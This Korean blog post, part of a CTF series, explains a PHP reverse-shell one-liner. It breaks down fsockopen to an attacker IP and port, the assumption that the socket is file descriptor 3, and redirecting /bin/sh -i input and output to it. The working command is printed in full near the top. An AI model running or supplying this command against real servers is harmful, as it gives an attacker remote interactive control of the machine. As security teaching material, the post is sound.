php reverse shell 1

agnusdei·2025년 12월 7일

CTF

목록 보기
185/185

🔑 PHP 리버스 셸 명령어 분석

명령어:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

1. 🔍 용어 및 함수 설명

요소풀 네임역할 및 설명
fsockopenFile System Socket OpenPHP에서 TCP 소켓 연결을 엽니다. 이 함수를 통해 대상 서버에서 공격자 리스너로 아웃바운드 연결을 시도합니다.
$sockSocket Variablefsockopen으로 성공적으로 생성된 소켓 연결 핸들을 저장하는 PHP 변수입니다. 이 핸들은 운영체제 수준의 **파일 디스크립터(File Descriptor, FD)**에 연결됩니다.

2. 🔗 명령어 동작 원리 (두 단계)

이 명령어는 대상 서버에서 실행되어 공격자에게 양방향 통신 채널을 제공합니다.

단계 1: 소켓 연결 및 FD 할당

  1. 연결 시도: fsockopen("10.0.0.1",1234)가 실행되어 대상 서버에서 공격자 IP 주소(10.0.0.1)의 1234 포트로 TCP 연결을 시도합니다. (공격자는 이 포트에서 넷캣(Netcat) 등으로 대기 중이어야 합니다.)
  2. FD 3 할당: 연결이 성공하면, 운영체제는 이 새로운 소켓 연결사용 가능한 가장 낮은 번호파일 디스크립터 (FD) 3을 할당할 가능성이 가장 높습니다. 이 FD 3공격자와 서버를 잇는 통로가 됩니다.

단계 2: 셸 실행 및 입출력 리디렉션

  1. 셸 실행: PHP의 exec() 함수가 대화형 셸(/bin/sh -i)을 시작합니다.
  2. 리디렉션 실행: <&3 >&3 2>&3 구문이 실행되어 셸의 표준 입출력 흐름을 FD 3으로 변경합니다.
리디렉션 명령어기호 의미역할 (FD 변경)최종 역할
< (입력)데이터를 받아오는 방향<&3: 셸의 **표준 입력 (FD 0)**을 소켓(FD 3)으로부터 받습니다.공격자의 명령을 셸이 수신합니다.
> (출력)데이터를 내보내는 방향>&3: 셸의 **표준 출력 (FD 1)**을 소켓(FD 3)으로 보냅니다.명령 실행 결과를 공격자에게 전송합니다.
2> (에러 출력)데이터를 내보내는 방향2>&3: 셸의 **표준 에러 (FD 2)**를 소켓(FD 3)으로 보냅니다.에러 메시지를 공격자에게 전송합니다.

3. 🛡️ FD 3 사용과 충돌 우려에 대한 해명

  • FD 3 사용 이유: 운영체제는 표준 입출력(0, 1, 2) 외에 새로운 I/O 자원(소켓)이 열릴 때 사용 가능한 가장 낮은 번호를 할당하는데, 이것이 FD 3일 가능성이 높기 때문입니다.
  • 충돌 문제: 이 명령은 FD 3이 소켓 연결일 것이라고 가정하고 리디렉션합니다. 만약 FD 3이 다른 목적으로 사용 중이었다면 셸 연결이 실패할 뿐, 시스템에 심각한 충돌을 일으키지는 않습니다. 다만, 이러한 불확실성 때문에 Python의 os.dup2(s.fileno(), fd)처럼 소켓의 실제 FD 번호를 명시적으로 확인하여 리디렉션하는 방법이 더 안정적입니다.
profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글